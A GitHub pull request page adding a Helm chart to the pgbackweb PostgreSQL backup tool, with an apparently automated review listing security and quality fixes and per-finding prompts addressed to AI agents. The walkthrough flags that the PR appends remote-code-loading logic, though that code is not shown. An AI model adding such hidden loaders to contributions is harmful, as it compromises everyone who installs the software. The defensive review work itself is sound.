feat: add helm chart - #35
Conversation
|
Hi @sorvis , I see that you are using ConfigMap for the values of Postgres connection string and the encryption secret. Because this values could be considered "secrets", what do you think about add the option to use "secretKeyRef" if a secret name is configured in values.yml file? This would give the option to the user of Helm chart to use your "ConfigMap" setup or manage these values from a previous secret created in the cluster. |
|
Doesn't need a full helm chart. You can use bjw-s app template |
📝 WalkthroughWalkthroughThe PR adds a Helm chart, HTMX server helpers, an authentication layout, and a theme dropdown. It also appends executable remote-code-loading logic to ChangesApplication and deployment updates
Estimated code review effort: 5 (Critical) | ~90 minutes Possibly related PRs
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✨ Finishing Touches 💡 1⚔️ Resolve merge conflicts 💡
🧪 Generate unit tests (beta)
Warning There were issues while running some tools. Please review the errors and either fix the tool's configuration or disable the tool if it's a critical failure. 🔧 golangci-lint (2.12.2)Error: can't load config: unsupported version of the configuration: "" See https://golangci-lint.run/docs/product/migration-guide for migration instructions Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Actionable comments posted: 2
Note
Due to the large number of review comments, Critical severity comments were prioritized as inline comments.
🟠 Major comments (34)
chart/pgbackweb/values.yaml-4-4 (1)
4-4: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winDo not disable PostgreSQL TLS by default.
Line 4 configures
sslmode=disable. This permits an unencrypted database connection when users copy the example. Usesslmode=requireor stronger certificate verification settings.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@chart/pgbackweb/values.yaml` at line 4, Update the pbwPostgresConnectionString example to require PostgreSQL TLS by default, replacing sslmode=disable with sslmode=require or a stronger certificate-verification mode while preserving the rest of the connection template.chart/pgbackweb/templates/config.yaml-7-10 (1)
7-10: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winStore runtime secrets in a Kubernetes Secret.
PBW_ENCRYPTION_KEYandPBW_POSTGRES_CONN_STRINGare sensitive values. A ConfigMap exposes them to ConfigMap readers and stores them in rendered chart state.
chart/pgbackweb/templates/config.yaml#L7-L10: keep only non-secret configuration such asTZin the ConfigMap.chart/pgbackweb/values.yaml#L1-L4: add an existing Secret name and key configuration instead of plaintext secret values.chart/pgbackweb/templates/deployment.yaml#L20-L30: usesecretKeyRefwhen the existing Secret name is configured.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@chart/pgbackweb/templates/config.yaml` around lines 7 - 10, Move PBW_ENCRYPTION_KEY and PBW_POSTGRES_CONN_STRING out of the ConfigMap, keeping only non-secret TZ in chart/pgbackweb/templates/config.yaml. In chart/pgbackweb/values.yaml, add configuration for an existing Secret name and its keys instead of plaintext secret values; update chart/pgbackweb/templates/deployment.yaml to source these variables via secretKeyRef when the existing Secret is configured.chart/pgbackweb/templates/ingress.yaml-2-2 (1)
2-2: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winBuild the backend Service name from the release fullname.
Line 2 resolves to
pgbackweb-service. The Service template creates<release fullname>-service. For most release names, the Ingress backend references a Service that does not exist.Proposed fix
-{{- $fullName := "pgbackweb-service" -}} +{{- $fullName := printf "%s-service" (include "pgbackweb.fullname" .) -}}🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@chart/pgbackweb/templates/ingress.yaml` at line 2, Update the fullname assignment in the ingress template to derive the release-specific name using the chart’s established fullname helper, so the backend references the Service created as that fullname plus “-service”; preserve the existing backend service-name construction.chart/pgbackweb/templates/ingress.yaml-11-13 (1)
11-13: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winRender the configured Ingress annotations.
Lines 11-13 ignore
.Values.ingress.annotationsand always set the legacy class annotation tonginx. This conflicts withingressClassNamewhen users select another controller.Proposed fix
annotations: - kubernetes.io/ingress.class: nginx - kubernetes.io/tls-acme: "true" + {{- toYaml .Values.ingress.annotations | nindent 4 }}🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@chart/pgbackweb/templates/ingress.yaml` around lines 11 - 13, Update the annotations block in the Ingress template to render the configured .Values.ingress.annotations instead of hardcoding the legacy nginx class annotation and TLS setting. Preserve valid YAML rendering when annotations are absent, and keep ingressClassName as the source of the selected controller..gitignore-1-3 (1)
1-3: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winRestore the base environment ignore rules.
Lines 2-3 only negate patterns. Because
.envand.env.*are no longer ignored, files such as.env.localor.env.prodcan be committed with secrets. Add the base rules before the exceptions.Suggested fix
# Environment +.env +.env.* !.env.dev !.env.example🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.gitignore around lines 1 - 3, Update the Environment section of .gitignore to add the base ignore patterns for .env and .env.* before the existing !.env.dev and !.env.example exceptions, ensuring local and production environment files remain ignored while those two examples stay tracked..github/workflows/lint-test-build.yaml-17-17 (2)
17-17: 🩺 Stability & Availability | 🟠 Major | ⚡ Quick winUpgrade
actions/checkoutto a supported version in both workflows.
actions/checkout@v2is outdated because the action uses Node.js 12 runtime, which GitHub-hosted runners no longer support. Update both pinned steps toactions/checkout@v4:
.github/workflows/lint-test-build.yaml#L17.github/workflows/sync-docker-hub-readme.yaml#L16🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/lint-test-build.yaml at line 17, Update the checkout action from v2 to v4 in both .github/workflows/lint-test-build.yaml lines 17-17 and .github/workflows/sync-docker-hub-readme.yaml lines 16-16, preserving the existing workflow steps.Source: Linters/SAST tools
17-17: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winDisable persisted checkout credentials in both workflows.
actions/checkoutpersistsGITHUB_TOKENinto the local Git config by default. Addpersist-credentials: falsewhen checkout is not followed by authenticated Git commands.
.github/workflows/lint-test-build.yaml#L17.github/workflows/sync-docker-hub-readme.yaml#L16🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/lint-test-build.yaml at line 17, Update the actions/checkout step in .github/workflows/lint-test-build.yaml at lines 17-17 and .github/workflows/sync-docker-hub-readme.yaml at lines 16-16 to set persist-credentials to false, since neither checkout is followed by authenticated Git commands.Source: Linters/SAST tools
internal/view/web/dashboard/destinations/create_destination.go-112-119 (1)
112-119: 🔒 Security & Privacy | 🟠 Major | 🏗️ Heavy liftHandle destination credentials as secrets in both forms.
The create form renders
secret_keyas visible text. The edit form also sends decrypted credentials to the browser. Keep secret values out of rendered markup, use password controls, and preserve existing credentials when edit fields are blank.
internal/view/web/dashboard/destinations/create_destination.go#L112-L119: Changesecret_keytocomponent.InputTypePassword.internal/view/web/dashboard/destinations/edit_destination.go#L123-L145: Remove decrypted credential values fromhtml.Value, make credential fields optional, and update only supplied credentials.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/view/web/dashboard/destinations/create_destination.go` around lines 112 - 119, The destination credential fields must remain secret in both forms. In internal/view/web/dashboard/destinations/create_destination.go:112-119, change the secret_key control to component.InputTypePassword. In internal/view/web/dashboard/destinations/edit_destination.go:123-145, stop placing decrypted credentials in html.Value, make credential inputs optional, and update existing credentials only when a non-blank value is supplied.docker/Dockerfile-47-50 (1)
47-50: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winRemove world-writable permissions from image files.
The tool binaries and
/backupsusechmod 777. Any process in the container can replace executables or modify backup files. Use0755for binaries and grant/backupsonly to the runtime user or group.Also applies to: 53-56, 59-62, 65-67, 70-73, 76-79, 81-85, 106-108
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@docker/Dockerfile` around lines 47 - 50, Update the Dockerfile permission commands for the task and other tool binaries to use 0755 instead of 0777, ensuring they remain executable but not world-writable. Change the /backups permissions to restrict write access to the runtime user or group, and apply these permission fixes to all listed repeated installation blocks.internal/service/destinations/create_destination.go-21-23 (1)
21-23: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick winHandle the destination creation error before storing test status.
Line 23 runs even when the SQLC insert at Lines 21-22 fails.
dest.IDcan then be a zero UUID, soTestDestinationAndStoreResultperforms a secondary lookup and write for a nonexistent destination. When insertion succeeds,_ =also hides failures that persist the test status while the caller receives success.Return immediately when creation fails. Handle the status error with an explicit retry or logging policy.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/service/destinations/create_destination.go` around lines 21 - 23, Update the destination creation flow around DestinationsServiceCreateDestination to return immediately when the insert returns an error, before accessing dest.ID. Replace the ignored error from TestDestinationAndStoreResult with the established explicit retry or logging policy, and return or propagate the failure so callers cannot receive success when status persistence fails.cmd/resetdb/main.go-3-10 (1)
3-10: 📐 Maintainability & Code Quality | 🟠 Major | ⚡ Quick winRoute startup failures through the project logger.
mainandconnectDBuse the standardlogpackage andpanicfor input, connection, and reset failures. Return errors fromconnectDB, add operation context withlogger.KV{"operation": "reset_database"}, and calllogger.FatalError()at the command boundary. Handle input EOF without emitting a panic stack.As per coding guidelines, Go files must use structured logging with
logger.KV{"key": value}for context andlogger.FatalError()for startup failures.Also applies to: 12-29, 31-50
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@cmd/resetdb/main.go` around lines 3 - 10, Update main and connectDB to replace standard log and panic usage with the project logger: return connection and reset failures from connectDB, add logger.KV{"operation": "reset_database"} context to logged operations, and route startup failures through logger.FatalError() at the command boundary. Handle input EOF as a normal input error without emitting a panic stack, and remove the standard log dependency.Source: Coding guidelines
docker/Dockerfile-110-112 (1)
110-112: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winRun the final image as a dedicated non-root user.
No
USERinstruction appears beforeCMD, sotask migrate-serveruns as root. Create a dedicated user, assign ownership of/appand/backups, and setUSERbeforeCMD.Proposed hardening
# Copy change-password binary RUN cp ./dist/change-password /usr/local/bin/change-password && \ chmod 777 /usr/local/bin/change-password # Run the app +RUN groupadd --system pgbackweb && \ + useradd --system --gid pgbackweb --create-home pgbackweb && \ + chown -R pgbackweb:pgbackweb /app /backups +USER pgbackweb EXPOSE 8085 CMD ["task", "migrate-serve"]🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@docker/Dockerfile` around lines 110 - 112, Update the final image setup before CMD to create a dedicated non-root user, assign that user ownership of /app and /backups, and set the USER instruction so task migrate-serve runs under that account.Source: Linters/SAST tools
docker/Dockerfile.cicd-47-50 (1)
47-50: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winDo not make downloaded tools world-writable.
Each tool is installed with
chmod 777, so every UID can modify executables in/usr/local/bin. If a privileged process later invokes one of these tools, this permits executable tampering. Use mode0755and restrict ownership.Also applies to: 53-56, 59-62, 65-67, 70-73, 76-79
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@docker/Dockerfile.cicd` around lines 47 - 50, Update the tool installation RUN commands in Dockerfile.cicd to set installed executables to mode 0755 instead of 777, and ensure they are owned by root:root in /usr/local/bin. Apply this consistently to every listed downloaded tool installation block.docker/Dockerfile.cicd-1-6 (1)
1-6: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winSet a non-root default user.
This Dockerfile has no
USERinstruction, so CI commands execute as root. Create an unprivileged user, assign ownership of/appand/backups, and setUSERafter the build-only steps.Also applies to: 81-85
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@docker/Dockerfile.cicd` around lines 1 - 6, Update the final runtime stage after the build-only steps to create an unprivileged user, ensure /app and /backups are owned by that user, and set USER to it before runtime commands execute. Keep the build stages unchanged and place the USER instruction after all privileged setup steps.Source: Linters/SAST tools
cmd/goose/main.go-29-36 (1)
29-36: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winRedact the PostgreSQL connection string before printing the command.
PBW_POSTGRES_CONN_STRINGcan contain database credentials.fmt.Println(cmd)prints the complete value, so CI logs or copied terminal output can disclose the password. Print a redacted DSN, or pass the DSN through an environment variable without printing it.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@cmd/goose/main.go` around lines 29 - 36, Update the command construction and output in the main command flow to prevent the value referenced by env.PBW_POSTGRES_CONN_STRING from appearing in logs. Redact credentials in the DSN before fmt.Println(cmd), or omit the DSN from the printed command while preserving the actual connection string used for execution.scripts/fixperms.sh-3-4 (1)
3-4: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winRemove the world-writable permission policy from all three paths.
The image setup, project permission script, and shell startup path grant broad write permissions. This permits tampering with installed tools, backups, and project files. Define one least-privilege policy and apply it consistently.
scripts/fixperms.sh#L3-L4: replace recursivechmod 777with separate directory, file, and script modes.docker/Dockerfile.dev#L47-L85: use0755for executables and controlled owner/group permissions for/backups.scripts/startup.sh#L15-L17: replaceumask 000with a restrictive umask such as022or027.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@scripts/fixperms.sh` around lines 3 - 4, Replace the world-writable permission policy consistently: in scripts/fixperms.sh lines 3-4, replace recursive chmod 777 with separate least-privilege directory, file, and script modes; in docker/Dockerfile.dev lines 47-85, use 0755 for executables and controlled owner/group permissions for /backups; in scripts/startup.sh lines 15-17, replace umask 000 with a restrictive umask such as 022 or 027.Source: Linters/SAST tools
docker/Dockerfile.dev-47-50 (1)
47-50: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winUse least-privilege modes for installed tools and
/backups.The
chmod 777commands make downloaded executables and/backupswritable by every container user. A writable executable can be replaced before it runs. Use0755for executables and controlled owner/group permissions for/backups.Also applies to: 53-56, 59-62, 65-67, 70-73, 76-79, 81-85
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@docker/Dockerfile.dev` around lines 47 - 50, Update the Dockerfile.dev installation commands for task and the other downloaded tools to use mode 0755 instead of 777, and change the /backups permission setup to controlled owner/group access rather than world-writable permissions. Apply the same least-privilege permissions consistently across all referenced tool-install blocks and the /backups directory.Source: Linters/SAST tools
internal/service/destinations/update_destination.go-21-25 (1)
21-25: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick winHandle both database and health-result errors.
The code calls
TestDestinationAndStoreResulteven whenDestinationsServiceUpdateDestinationreturns an error. The follow-up then receives a zero-valued destination ID. The_ =assignment also hides failures after a successful update. The method can return success while test status or webhook state is stale.Check
errbefore usingdest. Then use an explicit transaction, durable retry, or returned error for the follow-up failure.Minimum error handling
dest, err := s.dbgen.DestinationsServiceUpdateDestination(ctx, params) +if err != nil { + return dbgen.Destination{}, err +} -_ = s.TestDestinationAndStoreResult(ctx, dest.ID) +if storeErr := s.TestDestinationAndStoreResult(ctx, dest.ID); storeErr != nil { + return dest, storeErr +}🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/service/destinations/update_destination.go` around lines 21 - 25, Update the destination update method around DestinationsServiceUpdateDestination and TestDestinationAndStoreResult to return immediately when the database update returns an error, before accessing dest.ID. Stop discarding the follow-up error via `_ =`; propagate it or use the method’s established durable transaction/retry mechanism so a failed health test or webhook update cannot produce a successful result with stale state.docker/Dockerfile.dev-1-6 (1)
1-6: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winRun the dev image as a non-root user.
docker/Dockerfile.devuses Ubuntu’s default root UID beforeCMD, andcompose.yamlmounts the workspace and root-owned volumes into/appwithout override. Add a runtime user after installation, set ownership/mode for required paths through the user’s GID or--chown, and grant container write access only where needed.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@docker/Dockerfile.dev` around lines 1 - 6, Update the final runtime stage of Dockerfile.dev to create and use a non-root user before CMD, ensuring its UID/GID and home/workspace paths are configured consistently. Set ownership for required application paths and mounted-volume targets using the user’s group or --chown, and grant write access only to directories the development process must modify; preserve root only for installation steps.Source: Linters/SAST tools
internal/service/destinations/paginate_destinations.go-18-19 (1)
18-19: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winUse normalized pagination values in the SQLC params.
PaginateDestinationsclampsparams.Limittolimit, but the database call still passesint32(params.Limit), so zero or negative limits can reach PostgreSQL and values above100bypass the cap. Also passint32(offset)from the normalized params and boundpagebefore calculating the offset, because unbounded pages can overflow before conversion.Minimum correction
- Limit: int32(params.Limit), + Limit: int32(limit),🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/service/destinations/paginate_destinations.go` around lines 18 - 19, Update PaginateDestinations to pass the normalized limit and offset values to the SQLC query instead of raw params.Limit; bound page before calculating offset and convert the resulting offset to int32 only after safe normalization, preserving the enforced page and limit constraints.Source: Linters/SAST tools
internal/integration/postgres/postgres.go-78-80 (1)
78-80: 🔒 Security & Privacy | 🟠 Major | 🏗️ Heavy liftKeep decrypted database credentials out of process arguments.
Test,Dump, andRestoreZippassconnStringtopsqlorpg_dumpon the command line.internal/service/executions/run_execution.gosuppliesback.DecryptedDatabaseConnectionStringat Lines 89-90, so passwords in the DSN can appear in process listings or command-line telemetry. Use a libpq-supported secret channel, such as a 0600PGPASSFILE, and keep credentials out of argv.Also applies to: 133-155, 251-256
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/integration/postgres/postgres.go` around lines 78 - 80, Update Client.Test, Client.Dump, and Client.RestoreZip so decrypted connection strings are never passed as command-line arguments to psql or pg_dump. Use a libpq-supported credential channel such as a securely created 0600 PGPASSFILE, configure the command environment to use it, and pass only a non-secret connection target in argv while preserving existing command behavior and cleanup.internal/integration/postgres/postgres.go-229-245 (1)
229-245: 🩺 Stability & Availability | 🟠 Major | 🏗️ Heavy liftBound restore archive download and expansion.
RestoreZipwrites the remote archive to a temporary file without a download quota and extracts it withunzipwithout a size or entry limit. Add download and expanded-size accounting, reject unexpected ZIP entries, and only allow downloads from configured S3-backed URLs.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/integration/postgres/postgres.go` around lines 229 - 245, Update RestoreZip to enforce limits while downloading and expanding remote restore archives: permit only configured S3-backed URLs, track downloaded bytes against the download quota, and enforce expanded-size accounting during extraction. Validate ZIP contents before extraction, rejecting entries outside the expected dump.sql payload or otherwise unexpected entries, while preserving local-file restore behavior.internal/integration/postgres/postgres.go-78-89 (1)
78-89: 🩺 Stability & Availability | 🟠 Major | 🏗️ Heavy liftMake integration commands cancellable and close dump pipes on upload failure.
RunExecutionandRunRestorationreceivecontext.Context, butTest,DumpZip, andRestoreZipstartpsql,pg_dump,cp,wget, andunzipwithexec.Command. These operations cannot be cancelled when an execution or restoration is stopped. Threadctxthrough the PostgreSQL client, useexec.CommandContext, and closeDumpZip/Dumppipe readers ifLocalUploadorS3Uploadreturns an error.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/integration/postgres/postgres.go` around lines 78 - 89, Thread context.Context from RunExecution and RunRestoration through the PostgreSQL client methods Test, DumpZip, and RestoreZip, replacing exec.Command with exec.CommandContext for psql, pg_dump, cp, wget, and unzip so cancellation terminates integration commands. In the dump upload paths, close DumpZip/Dump pipe readers whenever LocalUpload or S3Upload returns an error.internal/service/webhooks/run_webhook.go-127-129 (1)
127-129: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winEnforce egress policy for webhook URLs.
internal/view/web/dashboard/webhooks/create_webhook.goacceptsurlwithvalidate:"required,url", andinternal/service/webhooks/run_webhook.gosends the storedwebhook.Urldirectly tohttp.NewRequestWithContext/client.Do. Add server-side validation and network controls for schemes, resolved IPs, redirects, and DNS rebinding before allowing webhook creation or updates.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/service/webhooks/run_webhook.go` around lines 127 - 129, Enforce webhook egress policy in the webhook creation/update validation flow and the execution path around http.NewRequestWithContext and client.Do. Allow only approved schemes, resolve hostnames and reject disallowed or private/link-local IPs, and validate resolved destinations before connecting to prevent DNS rebinding. Configure the HTTP client to reapply destination checks across redirects and reject redirects to disallowed schemes or IPs, while preserving validation for stored webhook URLs.internal/service/webhooks/run_webhook.go-150-153 (1)
150-153: 🩺 Stability & Availability | 🟠 Major | ⚡ Quick winLimit webhook response-body size before reading it.
io.ReadAllreads the full remote response before storingResBody. Enforce a maximum response-body limit; record truncation and reject or limit oversized responses so a large response does not allocate or persist unnecessarily.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/service/webhooks/run_webhook.go` around lines 150 - 153, Update the response-body handling around io.ReadAll in the webhook execution flow to enforce a maximum size while reading res.Body, using a bounded reader and detecting when the limit is exceeded. Record truncation and reject or retain only the allowed content according to the existing ResBody behavior, while preserving the current read-error wrapping.internal/service/executions/soft_delete_execution.go-28-46 (1)
28-46: 🗄️ Data Integrity & Integration | 🟠 Major | 🏗️ Heavy liftPersist deletion state before irreversible cleanup.
Lines 29-42 delete the backup object before Line 46 soft-deletes the database row. If storage deletion succeeds and the SQLC update fails, the database still exposes the execution but the backup file is gone. A retry cannot recover the file. Use a durable deletion-pending state or outbox job, then perform idempotent cleanup with retries and finalize the soft delete after the cleanup state is known.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/service/executions/soft_delete_execution.go` around lines 28 - 46, Update the execution deletion flow around the storage cleanup branches and ExecutionsServiceSoftDeleteExecution to persist a durable deletion-pending state or outbox job before calling S3Delete or LocalDelete. Perform cleanup idempotently with retry support, and finalize the soft delete only after cleanup status is durably recorded, ensuring retries can recover from either storage or database failures.internal/view/web/component/help_button_modal.go-22-27 (1)
22-27: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winAdd an accessible name to the icon-only help button.
The button contains only
lucide.CircleHelp(). Screen readers receive no action name. Add anaria-label, such asOpen help.Proposed fix
button := html.Button( mo.OpenerAttr, + gomponents.Attr("aria-label", "Open help"), html.Class("btn btn-neutral btn-ghost btn-circle btn-sm"),🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/view/web/component/help_button_modal.go` around lines 22 - 27, Add an aria-label describing the action, such as “Open help,” to the icon-only html.Button in the help button construction. Keep the existing styling, type, opener attributes, and lucide.CircleHelp icon unchanged.internal/service/databases/update_database.go-21-25 (1)
21-25: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick winCheck the update error before running post-update verification.
Line 23 uses
db.IDbefore checkingerr. When the SQLC update fails,dbmay be zero-valued, so the code can query and write test data for an invalid ID. The call also discards verification errors. A successful update can therefore return success even when test-result persistence or webhook processing fails.Check
errimmediately after the update. Then either return the verification error or log it explicitly as an intentional best-effort operation.Proposed fix
db, err := s.dbgen.DatabasesServiceUpdateDatabase(ctx, params) +if err != nil { + return db, err +} -_ = s.TestDatabaseAndStoreResult(ctx, db.ID) +if checkErr := s.TestDatabaseAndStoreResult(ctx, db.ID); checkErr != nil { + return db, checkErr +} -return db, err +return db, nil🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/service/databases/update_database.go` around lines 21 - 25, Update the flow around DatabasesServiceUpdateDatabase in the service method to return immediately when the update error is non-nil, before accessing db.ID. For successful updates, handle the error returned by TestDatabaseAndStoreResult by returning it or explicitly logging it as best-effort; do not discard the verification error.internal/service/databases/paginate_databases.go-18-19 (1)
18-19: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winUse the normalized pagination values for SQLC calls.
PaginateDatabasesclampsparams.Limitto1..100, but passes the rawparams.LimittoDatabasesServicePaginateDatabases. A request withlimit=0orlimit=-1would return one row and reportlimit=1;limit > 100overwritesint8and reports too few rows. Passlimitinstead.Also cap or reject
pagebefore convertingpage*limit - limittoint32; values nearmath.MaxInt32wrap to negative offsets and return the wrong window.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/service/databases/paginate_databases.go` around lines 18 - 19, Update PaginateDatabases to pass the normalized limit variable to DatabasesServicePaginateDatabases instead of params.Limit. Before converting the calculated pagination offset to int32, cap or reject page values that could overflow page*limit-limit, while preserving the existing normalized page and limit behavior.Source: Linters/SAST tools
internal/view/web/dashboard/executions/restore_execution.go-21-22 (1)
21-22: 📐 Maintainability & Code Quality | 🟠 Major | ⚡ Quick winUse
internal/view/reqctxin web handlers.These handlers read request context through
c.Request().Context(). Route this access throughinternal/view/reqctx.
internal/view/web/dashboard/executions/restore_execution.go#L21-L22: Useinternal/view/reqctxinrestoreExecutionHandler.internal/view/web/dashboard/executions/restore_execution.go#L82-L83: Useinternal/view/reqctxinrestoreExecutionFormHandler.internal/view/web/dashboard/summary/index.go#L19-L20: Useinternal/view/reqctxinindexPageHandler.As per coding guidelines, access request context via
internal/view/reqctxin web handlers.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/view/web/dashboard/executions/restore_execution.go` around lines 21 - 22, Replace direct c.Request().Context() access with internal/view/reqctx in restoreExecutionHandler (internal/view/web/dashboard/executions/restore_execution.go:21-22), restoreExecutionFormHandler (internal/view/web/dashboard/executions/restore_execution.go:82-83), and indexPageHandler (internal/view/web/dashboard/summary/index.go:19-20), adding the required imports and preserving the existing handler behavior.Source: Coding guidelines
internal/view/web/component/health_status_ping.go-92-99 (1)
92-99: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winUse a focusable, named button for health details.
When
testOk.Valid, applymoOpenerAttrto a button withtype="button"andaria-labelfrom the tooltip text; use a noninteractive element while waiting. A clickable span cannot be reached by keyboard or assistive technology.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/view/web/component/health_status_ping.go` around lines 92 - 99, Update the health-status markup in the component rendering function so the `testOk.Valid` state uses a focusable button with `moOpenerAttr`, `type="button"`, and an `aria-label` derived from `tooltipText`; keep the waiting state noninteractive. Replace the clickable `html.Span` opener without changing the surrounding tooltip content.internal/view/web/component/modal.go-71-82 (1)
71-82: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winAdd dialog semantics and focus handling.
Modal()renders the dialog as a genericdivand only removeshiddento show it. Addrole="dialog",aria-modal="true", an accessible title association, and move focus into the dialog when it opens and restore focus when it closes.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/view/web/component/modal.go` around lines 71 - 82, Add dialog accessibility and focus management to Modal(): apply role="dialog" and aria-modal="true", associate the dialog with its accessible title, focus the dialog when openCode runs, and restore the previously focused element when closeCode runs. Update the existing Alpine event/data setup and rendered element attributes without changing the modal’s current visibility behavior.internal/view/web/component/copy_button.go-57-65 (1)
57-65: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winSet
type="button"on the copy control.An HTML button defaults to
submitinside a form. A click can submit the surrounding form after copying the text. Addhtml.Type("button").Proposed fix
html.Button( components.Classes{ "btn btn-neutral btn-square btn-ghost": true, "btn-sm": props.Size == SizeSm, "btn-lg": props.Size == SizeLg, }, + html.Type("button"), html.ID(id),🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/view/web/component/copy_button.go` around lines 57 - 65, Update the button created in the copy control rendering to include html.Type("button") alongside its existing ID and title attributes, ensuring clicks do not submit a surrounding form.internal/view/web/component/modal.go-138-142 (1)
138-142: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winName the icon-only buttons.
lucide.X(...)andlucide.Eye(...)render SVGs without an accessible name. Add aaria-labelon the containing interactive element so the action is announced.
internal/view/web/component/modal.go#L138-L142: addaria-label="Close"to the modal close button.internal/view/web/dashboard/restorations/show_restoration.go#L83-L87: addaria-label="Show restoration details"to the restoration-details button.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@internal/view/web/component/modal.go` around lines 138 - 142, The icon-only buttons lack accessible names. In internal/view/web/component/modal.go lines 138-142, update the html.Button containing lucide.X to include aria-label="Close"; in internal/view/web/dashboard/restorations/show_restoration.go lines 83-87, update the button containing lucide.Eye to include aria-label="Show restoration details".
🟡 Minor comments (17)
internal/view/web/component/change_theme_button.go-32-50 (1)
32-50: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winUse a native button for the dropdown trigger.
The
divwithrole="button"does not provide native Enter and Space activation. Keyboard users cannot reliably open the theme dropdown. Replace it withhtml.Buttonand settype="button".Proposed fix
